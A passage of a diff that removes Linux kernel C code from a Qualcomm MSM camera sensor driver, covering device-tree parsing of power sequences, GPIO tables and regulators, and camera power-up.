goto ERROR; - } - val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!val_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR; - } - - rc = of_property_read_u32_array(of_node, "qcom,csid-sd-index", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - kfree(val_array); - goto ERROR; - } - for (i = 0; i < count; i++) { - sensor_info->subdev_id - [SUB_MODULE_CSID + i] = val_array[i]; - CDBG("%s csid_core[%d] = %d\n", - __func__, i, val_array[i]); - } - kfree(val_array); - } else { - pr_err("%s:%d qcom,csid-sd-index not present\n", __func__, - __LINE__); - rc = -EINVAL; - goto ERROR; - } - - *s_info = sensor_info; - return rc; -ERROR: - kfree(sensor_info); - return rc; -} - -int msm_sensor_get_dt_actuator_data(struct device_node *of_node, - struct msm_actuator_info **act_info) -{ - int rc = 0; - uint32_t val = 0; - struct msm_actuator_info *actuator_info; - - rc = of_property_read_u32(of_node, "qcom,actuator-cam-name", &val); - CDBG("%s qcom,actuator-cam-name %d, rc %d\n", __func__, val, rc); - if (rc < 0) - return 0; - - actuator_info = kzalloc(sizeof(*actuator_info), GFP_KERNEL); - if (!actuator_info) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR; - } - - actuator_info->cam_name = val; - - rc = of_property_read_u32(of_node, "qcom,actuator-vcm-pwd", &val); - CDBG("%s qcom,actuator-vcm-pwd %d, rc %d\n", __func__, val, rc); - if (!rc) - actuator_info->vcm_pwd = val; - - rc = of_property_read_u32(of_node, "qcom,actuator-vcm-enable", &val); - CDBG("%s qcom,actuator-vcm-enable %d, rc %d\n", __func__, val, rc); - if (!rc) - actuator_info->vcm_enable = val; - - *act_info = actuator_info; - return 0; -ERROR: - kfree(actuator_info); - return rc; -} - -int msm_sensor_get_dt_csi_data(struct device_node *of_node, - struct msm_camera_csi_lane_params **csi_lane_params) -{ - int rc = 0; - uint32_t val = 0; - struct msm_camera_csi_lane_params *clp; - - clp = kzalloc(sizeof(*clp), GFP_KERNEL); - if (!clp) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - *csi_lane_params = clp; - - rc = of_property_read_u32(of_node, "qcom,csi-lane-assign", &val); - CDBG("%s qcom,csi-lane-assign 0x%x, rc %d\n", __func__, val, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - clp->csi_lane_assign = val; - - rc = of_property_read_u32(of_node, "qcom,csi-lane-mask", &val); - CDBG("%s qcom,csi-lane-mask 0x%x, rc %d\n", __func__, val, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - clp->csi_lane_mask = val; - - return rc; -ERROR: - kfree(clp); - return rc; -} - -int msm_camera_get_dt_power_setting_data(struct device_node *of_node, - struct camera_vreg_t *cam_vreg, int num_vreg, - struct msm_camera_power_ctrl_t *power_info) -{ - int rc = 0, i, j; - int count = 0; - const char *seq_name = NULL; - uint32_t *array = NULL; - struct msm_sensor_power_setting *ps; - - struct msm_sensor_power_setting *power_setting; - uint16_t *power_setting_size, size = 0; - bool need_reverse = 0; - - if (!power_info) - return -EINVAL; - - power_setting = power_info->power_setting; - power_setting_size = &power_info->power_setting_size; - - count = of_property_count_strings(of_node, "qcom,cam-power-seq-type"); - *power_setting_size = count; - - CDBG("%s qcom,cam-power-seq-type count %d\n", __func__, count); - - if (count <= 0) - return 0; - - ps = kzalloc(sizeof(*ps) * count, GFP_KERNEL); - if (!ps) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - power_setting = ps; - power_info->power_setting = ps; - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, - "qcom,cam-power-seq-type", i, - &seq_name); - CDBG("%s seq_name[%d] = %s\n", __func__, i, - seq_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR1; - } - if (!strcmp(seq_name, "sensor_vreg")) { - ps[i].seq_type = SENSOR_VREG; - CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, - i, ps[i].seq_type); - } else if (!strcmp(seq_name, "sensor_gpio")) { - ps[i].seq_type = SENSOR_GPIO; - CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, - i, ps[i].seq_type); - } else if (!strcmp(seq_name, "sensor_clk")) { - ps[i].seq_type = SENSOR_CLK; - CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, - i, ps[i].seq_type); - } else if (!strcmp(seq_name, "sensor_i2c_mux")) { - ps[i].seq_type = SENSOR_I2C_MUX; - CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, - i, ps[i].seq_type); - } else { - CDBG("%s: unrecognized seq-type\n", __func__); - rc = -EILSEQ; - goto ERROR1; - } - } - - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, - "qcom,cam-power-seq-val", i, - &seq_name); - CDBG("%s seq_name[%d] = %s\n", __func__, i, - seq_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR1; - } - switch (ps[i].seq_type) { - case SENSOR_VREG: - for (j = 0; j < num_vreg; j++) { - if (!strcmp(seq_name, cam_vreg[j].reg_name)) - break; - } - if (j < num_vreg) - ps[i].seq_val = j; - else - rc = -EILSEQ; - break; - case SENSOR_GPIO: - if (!strcmp(seq_name, "sensor_gpio_reset")) - ps[i].seq_val = SENSOR_GPIO_RESET; - else if (!strcmp(seq_name, "sensor_gpio_standby")) - ps[i].seq_val = SENSOR_GPIO_STANDBY; - else if (!strcmp(seq_name, "sensor_gpio_vdig")) - ps[i].seq_val = SENSOR_GPIO_VDIG; - else - rc = -EILSEQ; - break; - case SENSOR_CLK: - if (!strcmp(seq_name, "sensor_cam_mclk")) - ps[i].seq_val = SENSOR_CAM_MCLK; - else if (!strcmp(seq_name, "sensor_cam_clk")) - ps[i].seq_val = SENSOR_CAM_CLK; - else - rc = -EILSEQ; - break; - case SENSOR_I2C_MUX: - if (!strcmp(seq_name, "none")) - ps[i].seq_val = 0; - else - rc = -EILSEQ; - break; - default: - rc = -EILSEQ; - break; - } - if (rc < 0) { - CDBG("%s: unrecognized seq-val\n", __func__); - goto ERROR1; - } - } - - array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - - - rc = of_property_read_u32_array(of_node, "qcom,cam-power-seq-cfg-val", - array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - if (ps[i].seq_type == SENSOR_GPIO) { - if (array[i] == 0) - ps[i].config_val = GPIO_OUT_LOW; - else if (array[i] == 1) - ps[i].config_val = GPIO_OUT_HIGH; - } else { - ps[i].config_val = array[i]; - } - CDBG("%s power_setting[%d].config_val = %ld\n", __func__, i, - ps[i].config_val); - } - - rc = of_property_read_u32_array(of_node, "qcom,cam-power-seq-delay", - array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - ps[i].delay = array[i]; - CDBG("%s power_setting[%d].delay = %d\n", __func__, - i, ps[i].delay); - } - kfree(array); - - size = *power_setting_size; - - if (NULL != ps && 0 != size) - need_reverse = 1; - - power_info->power_down_setting = - kzalloc(sizeof(*ps) * size, GFP_KERNEL); - - if (!power_info->power_down_setting) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - - memcpy(power_info->power_down_setting, - ps, sizeof(*ps) * size); - - power_info->power_down_setting_size = size; - - if (need_reverse) { - int c, end = size - 1; - struct msm_sensor_power_setting power_down_setting_t; - for (c = 0; c < size/2; c++) { - power_down_setting_t = - power_info->power_down_setting[c]; - power_info->power_down_setting[c] = - power_info->power_down_setting[end]; - power_info->power_down_setting[end] = - power_down_setting_t; - end--; - } - } - return rc; -ERROR2: - kfree(array); -ERROR1: - kfree(ps); - power_setting_size = 0; - return rc; -} - -int msm_camera_get_dt_gpio_req_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size) -{ - int rc = 0, i = 0; - uint32_t count = 0; - uint32_t *val_array = NULL; - - if (!of_get_property(of_node, "qcom,gpio-req-tbl-num", &count)) - return 0; - - count /= sizeof(uint32_t); - if (!count) { - pr_err("%s qcom,gpio-req-tbl-num 0\n", __func__); - return 0; - } - - val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!val_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - - gconf->cam_gpio_req_tbl = kzalloc(sizeof(struct gpio) * count, - GFP_KERNEL); - if (!gconf->cam_gpio_req_tbl) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - gconf->cam_gpio_req_tbl_size = count; - - rc = of_property_read_u32_array(of_node, "qcom,gpio-req-tbl-num", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - if (val_array[i] >= gpio_array_size) { - pr_err("%s gpio req tbl index %d invalid\n", - __func__, val_array[i]); - return -EINVAL; - } - gconf->cam_gpio_req_tbl[i].gpio = gpio_array[val_array[i]]; - CDBG("%s cam_gpio_req_tbl[%d].gpio = %d\n", __func__, i, - gconf->cam_gpio_req_tbl[i].gpio); - } - - rc = of_property_read_u32_array(of_node, "qcom,gpio-req-tbl-flags", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - gconf->cam_gpio_req_tbl[i].flags = val_array[i]; - CDBG("%s cam_gpio_req_tbl[%d].flags = %ld\n", __func__, i, - gconf->cam_gpio_req_tbl[i].flags); - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, - "qcom,gpio-req-tbl-label", i, - &gconf->cam_gpio_req_tbl[i].label); - CDBG("%s cam_gpio_req_tbl[%d].label = %s\n", __func__, i, - gconf->cam_gpio_req_tbl[i].label); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - } - - kfree(val_array); - return rc; - -ERROR2: - kfree(gconf->cam_gpio_req_tbl); -ERROR1: - kfree(val_array); - gconf->cam_gpio_req_tbl_size = 0; - return rc; -} - -int msm_camera_get_dt_gpio_set_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size) -{ - int rc = 0, i = 0; - uint32_t count = 0; - uint32_t *val_array = NULL; - - if (!of_get_property(of_node, "qcom,gpio-set-tbl-num", &count)) - return 0; - - count /= sizeof(uint32_t); - if (!count) { - pr_err("%s qcom,gpio-set-tbl-num 0\n", __func__); - return 0; - } - - val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!val_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - - gconf->cam_gpio_set_tbl = kzalloc(sizeof(struct msm_gpio_set_tbl) * - count, GFP_KERNEL); - if (!gconf->cam_gpio_set_tbl) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - gconf->cam_gpio_set_tbl_size = count; - - rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-num", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - if (val_array[i] >= gpio_array_size) { - pr_err("%s gpio set tbl index %d invalid\n", - __func__, val_array[i]); - return -EINVAL; - } - gconf->cam_gpio_set_tbl[i].gpio = gpio_array[val_array[i]]; - CDBG("%s cam_gpio_set_tbl[%d].gpio = %d\n", __func__, i, - gconf->cam_gpio_set_tbl[i].gpio); - } - - rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-flags", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - gconf->cam_gpio_set_tbl[i].flags = val_array[i]; - CDBG("%s cam_gpio_set_tbl[%d].flags = %ld\n", __func__, i, - gconf->cam_gpio_set_tbl[i].flags); - } - - rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-delay", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - gconf->cam_gpio_set_tbl[i].delay = val_array[i]; - CDBG("%s cam_gpio_set_tbl[%d].delay = %d\n", __func__, i, - gconf->cam_gpio_set_tbl[i].delay); - } - - kfree(val_array); - return rc; - -ERROR2: - kfree(gconf->cam_gpio_set_tbl); -ERROR1: - kfree(val_array); - gconf->cam_gpio_set_tbl_size = 0; - return rc; -} - -int msm_camera_init_gpio_pin_tbl(struct device_node *of_node, - struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, - uint16_t gpio_array_size) -{ - int rc = 0, val = 0; - - gconf->gpio_num_info = kzalloc(sizeof(struct msm_camera_gpio_num_info), - GFP_KERNEL); - if (!gconf->gpio_num_info) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - return rc; - } - - rc = of_property_read_u32(of_node, "qcom,gpio-vana", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-vana failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-vdig invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VANA] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_VANA] = 1; - CDBG("%s qcom,gpio-vana %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VANA]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-vdig", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-vdig failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-vdig invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VDIG] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_VDIG] = 1; - CDBG("%s qcom,gpio-vdig %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VDIG]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-reset", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-reset failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-reset invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_RESET] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_RESET] = 1; - CDBG("%s qcom,gpio-reset %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_RESET]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-standby", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-standby failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-standby invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_STANDBY] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_STANDBY] = 1; - CDBG("%s qcom,gpio-standby %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_STANDBY]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-af-pwdm", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-af-pwdm failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-af-pwdm invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_AF_PWDM] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_AF_PWDM] = 1; - CDBG("%s qcom,gpio-af-pwdm %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_AF_PWDM]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-flash-en", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-flash-en failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-flash-en invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_EN] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_FL_EN] = 1; - CDBG("%s qcom,gpio-flash-en %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_EN]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-flash-now", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%d read qcom,gpio-flash-now failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-flash-now invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_NOW] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_FL_NOW] = 1; - CDBG("%s qcom,gpio-flash-now %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_NOW]); - } else - rc = 0; - - rc = of_property_read_u32(of_node, "qcom,gpio-flash-reset", &val); - if (rc != -EINVAL) { - if (rc < 0) { - pr_err("%s:%dread qcom,gpio-flash-reset failed rc %d\n", - __func__, __LINE__, rc); - goto ERROR; - } else if (val >= gpio_array_size) { - pr_err("%s:%d qcom,gpio-flash-reset invalid %d\n", - __func__, __LINE__, val); - rc = -EINVAL; - goto ERROR; - } - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_RESET] = - gpio_array[val]; - gconf->gpio_num_info->valid[SENSOR_GPIO_FL_RESET] = 1; - CDBG("%s qcom,gpio-flash-reset %d\n", __func__, - gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_RESET]); - } else - rc = 0; - return rc; - -ERROR: - kfree(gconf->gpio_num_info); - gconf->gpio_num_info = NULL; - return rc; -} - -int msm_camera_get_dt_vreg_data(struct device_node *of_node, - struct camera_vreg_t **cam_vreg, int *num_vreg) -{ - int rc = 0, i = 0; - uint32_t count = 0; - uint32_t *vreg_array = NULL; - struct camera_vreg_t *vreg = NULL; - - count = of_property_count_strings(of_node, "qcom,cam-vreg-name"); - CDBG("%s qcom,cam-vreg-name count %d\n", __func__, count); - - if (!count) - return 0; - - vreg = kzalloc(sizeof(*vreg) * count, GFP_KERNEL); - if (!vreg) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - *cam_vreg = vreg; - *num_vreg = count; - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, - "qcom,cam-vreg-name", i, - &vreg[i].reg_name); - CDBG("%s reg_name[%d] = %s\n", __func__, i, - vreg[i].reg_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR1; - } - } - - vreg_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!vreg_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR1; - } - - rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-type", - vreg_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - vreg[i].type = vreg_array[i]; - CDBG("%s cam_vreg[%d].type = %d\n", __func__, i, - vreg[i].type); - } - - rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-min-voltage", - vreg_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - vreg[i].min_voltage = vreg_array[i]; - CDBG("%s cam_vreg[%d].min_voltage = %d\n", __func__, - i, vreg[i].min_voltage); - } - - rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-max-voltage", - vreg_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - vreg[i].max_voltage = vreg_array[i]; - CDBG("%s cam_vreg[%d].max_voltage = %d\n", __func__, - i, vreg[i].max_voltage); - } - - rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-op-mode", - vreg_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR2; - } - for (i = 0; i < count; i++) { - vreg[i].op_mode = vreg_array[i]; - CDBG("%s cam_vreg[%d].op_mode = %d\n", __func__, i, - vreg[i].op_mode); - } - - kfree(vreg_array); - return rc; -ERROR2: - kfree(vreg_array); -ERROR1: - kfree(vreg); - *num_vreg = 0; - return rc; -} - -static int msm_camera_enable_i2c_mux(struct msm_camera_i2c_conf *i2c_conf) -{ - struct v4l2_subdev *i2c_mux_sd = - dev_get_drvdata(&i2c_conf->mux_dev->dev); - v4l2_subdev_call(i2c_mux_sd, core, ioctl, - VIDIOC_MSM_I2C_MUX_INIT, NULL); - v4l2_subdev_call(i2c_mux_sd, core, ioctl, - VIDIOC_MSM_I2C_MUX_CFG, (void *)&i2c_conf->i2c_mux_mode); - return 0; -} - -static int msm_camera_disable_i2c_mux(struct msm_camera_i2c_conf *i2c_conf) -{ - struct v4l2_subdev *i2c_mux_sd = - dev_get_drvdata(&i2c_conf->mux_dev->dev); - v4l2_subdev_call(i2c_mux_sd, core, ioctl, - VIDIOC_MSM_I2C_MUX_RELEASE, NULL); - return 0; -} - -static int msm_camera_pinctrl_init(struct msm_camera_power_ctrl_t *ctrl) -{ - struct msm_pinctrl_info *sensor_pctrl = NULL; - - sensor_pctrl = &ctrl->pinctrl_info; - sensor_pctrl->pinctrl = devm_pinctrl_get(ctrl->dev); - if (IS_ERR_OR_NULL(sensor_pctrl->pinctrl)) { - pr_err("%s:%d Getting pinctrl handle failed\n", - __func__, __LINE__); - return -EINVAL; - } - sensor_pctrl->gpio_state_active = - pinctrl_lookup_state(sensor_pctrl->pinctrl, - CAM_SENSOR_PINCTRL_STATE_DEFAULT); - if (IS_ERR_OR_NULL(sensor_pctrl->gpio_state_active)) { - pr_err("%s:%d Failed to get the active state pinctrl handle\n", - __func__, __LINE__); - return -EINVAL; - } - sensor_pctrl->gpio_state_suspend - = pinctrl_lookup_state(sensor_pctrl->pinctrl, - CAM_SENSOR_PINCTRL_STATE_SLEEP); - if (IS_ERR_OR_NULL(sensor_pctrl->gpio_state_suspend)) { - pr_err("%s:%d Failed to get the suspend state pinctrl handle\n", - __func__, __LINE__); - return -EINVAL; - } - return 0; -} - -int msm_camera_power_up(struct msm_camera_power_ctrl_t *ctrl, - enum msm_camera_device_type_t device_type, - struct msm_camera_i2c_client *sensor_i2c_client) -{ - int rc = 0, index = 0, no_gpio = 0, ret = 0; - struct msm_sensor_power_setting *power_setting = NULL; - - CDBG("%s:%d\n", __func__, __LINE__); - if (!ctrl || !sensor_i2c_client) { - pr_err("failed ctrl %p sensor_i2c_client %p\n", ctrl, - sensor_i2c_client); - return -EINVAL; - } - if (ctrl->gpio_conf->cam_gpiomux_conf_tbl != NULL) { - pr_err("%s:%d mux install\n", __func__, __LINE__); - msm_gpiomux_install( - (struct msm_gpiomux_config *) - ctrl->gpio_conf->cam_gpiomux_conf_tbl, - ctrl->gpio_conf->cam_gpiomux_conf_tbl_size); - } - ret = msm_camera_pinctrl_init(ctrl); - if (ret < 0) { - pr_err("%s:%d Initialization of pinctrl failed\n", - __func__, __LINE__); - ctrl->cam_pinctrl_status = 0; - } else { - ctrl->cam_pinctrl_status = 1; - } - - rc = msm_camera_request_gpio_table( - ctrl->gpio_conf->cam_gpio_req_tbl, - ctrl->gpio_conf->cam_gpio_req_tbl_size, 1); - if (rc < 0) - no_gpio = rc; - if (ctrl->cam_pinctrl_status) { - ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, - ctrl->pinctrl_info.gpio_state_active); - if (ret) - pr_err("%s:%d cannot set pin to active state", - __func__, __LINE__); - } - for (index = 0; index < ctrl->power_setting_size; index++) { - CDBG("%s index %d\n", __func__, index); - power_setting = &ctrl->power_setting[index]; - CDBG("%s type %d\n", __func__, power_setting->seq_type); - switch (power_setting->seq_type) { - case SENSOR_CLK: - if (power_setting->seq_val >= ctrl->clk_info_size) { - pr_err("%s clk index %d >= max %d\n", __func__, - power_setting->seq_val, - ctrl->clk_info_size); - goto power_up_failed; - } - if (power_setting->config_val) - ctrl->clk_info[power_setting->seq_val]. - clk_rate = power_setting->config_val; - - rc = msm_cam_clk_enable(ctrl->dev, - &ctrl->clk_info[0], - (struct clk **)&power_setting->data[0], - ctrl->clk_info_size, - 1); - if (rc < 0) { - pr_err("%s: clk enable failed\n", - __func__); - goto power_up_failed; - } - break; - case SENSOR_GPIO: - if (no_gpio) { - pr_err("%s: request gpio failed\n", __func__); - return no_gpio; - } - if (power_setting->seq_val >= SENSOR_GPIO_MAX || - !ctrl->gpio_conf->gpio_num_info) { - pr_err("%s gpio index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - goto power_up_failed; - } - if (!ctrl->gpio_conf->gpio_num_info->valid - [power_setting->seq_val]) - continue; - CDBG("%s:%d gpio set val %d\n", __func__, __LINE__, - ctrl->gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val]); - gpio_set_value_cansleep( - ctrl->gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val], - power_setting->config_val); - break; - case SENSOR_VREG: - if (power_setting->seq_val >= CAM_VREG_MAX) { - pr_err("%s vreg index %d >= max %d\n", __func__, - power_setting->seq_val, - SENSOR_GPIO_MAX); - goto power_up_failed; - } - msm_camera_config_single_vreg(ctrl->dev, - &ctrl->cam_vreg[power_setting->seq_val], - (struct regulator **)&power_setting->data[0], - 1); - break; - case SENSOR_I2C_MUX: - if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) - msm_camera_enable_i2c_mux(ctrl->i2c_conf); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - power_setting->seq_type); - break; - } - if (power_setting->delay > 20) { - msleep(power_setting->delay); - } else if (power_setting->delay) { - usleep_range(power_setting->delay * 1000, - (power_setting->delay * 1000) + 1000); - } - } - - if (device_type == MSM_CAMERA_PLATFORM_DEVICE) { - rc = sensor_i2c_client->i2c_func_tbl->i2c_util( - sensor_i2c_client, MSM_CCI_INIT); - if (rc < 0) { - pr_err("%s cci_init failed\n", __func__); - goto power_up_failed; - } - } - - CDBG("%s exit\n", __func__); - return 0; -power_up_failed: - pr_err("%s:%d failed\n", __func__, __LINE__); - for (index--; index >= 0; index--) { - CDBG("%s index %d\n", __func__, index); - power_setting = &ctrl->power_setting[index]; - CDBG("%s type %d\n", __func__, power_setting->seq_type); - switch (power_setting->seq_type) { - - case SENSOR_CLK: - msm_cam_clk_enable(ctrl->dev, - &ctrl->clk_info[0], - (struct clk **)&power_setting->data[0], - ctrl->clk_info_size, - 0); - break; - case SENSOR_GPIO: - if (!ctrl->gpio_conf->gpio_num_info->valid - [power_setting->seq_val]) - continue; - gpio_set_value_cansleep( - ctrl->gpio_conf->gpio_num_info->gpio_num - [power_setting->seq_val], GPIOF_OUT_INIT_LOW); - break; - case SENSOR_VREG: - msm_camera_config_single_vreg(ctrl->dev, - &ctrl->cam_vreg[power_setting->seq_val], - (struct regulator **)&power_setting->data[0], - 0); - break; - case SENSOR_I2C_MUX: - if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) - msm_camera_disable_i2c_mux(ctrl->i2c_conf); - break; - default: - pr_err("%s error power seq type %d\n", __func__, - power_setting->seq_type); - break; - } - if (power_setting->delay > 20) { - msleep(power_setting->delay); - } else if (power_setting->delay) { - usleep_range(power_setting->delay * 1000, - (power_setting->delay * 1000) + 1000); - } - } - if (ctrl->cam_pinctrl_status) { - ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, - ctrl->pinctrl_info.gpio_state_suspend); - if (ret) - pr_err("%s:%d cannot set pin to suspend state\n", - __func__, __LINE__); - devm_pinctrl_put(ctrl->pinctrl_info.pinctrl); - } - ctrl->cam_pinctrl_status = 0; - msm_camera_request_gpio_table( - ctrl->gpio_conf->cam_gpio_req_tbl, - ctrl->gpio_conf->cam_gpio_req_tbl_size, 0); - return rc; -} - -static struct msm_sensor_power_setting* -msm_camera_get_power_settings(struct msm_camera_power_ctrl_t *ctrl, - enum msm_sensor_power_seq_type_t seq_type, - uint16_t seq_val) -{ - struct msm_sensor_power_setting *power_setting, *ps = NULL; - int idx; - - for (idx = 0; idx < ctrl->power_setting_size; idx++) { - power_setting = &ctrl->power_setting[idx]; - if (power_setting->seq_type == seq_type && - power_setting->seq_val == seq_val) { - ps = power_setting; - return ps; - } - - } - return ps; -} - -int msm_camera_power_down(struct 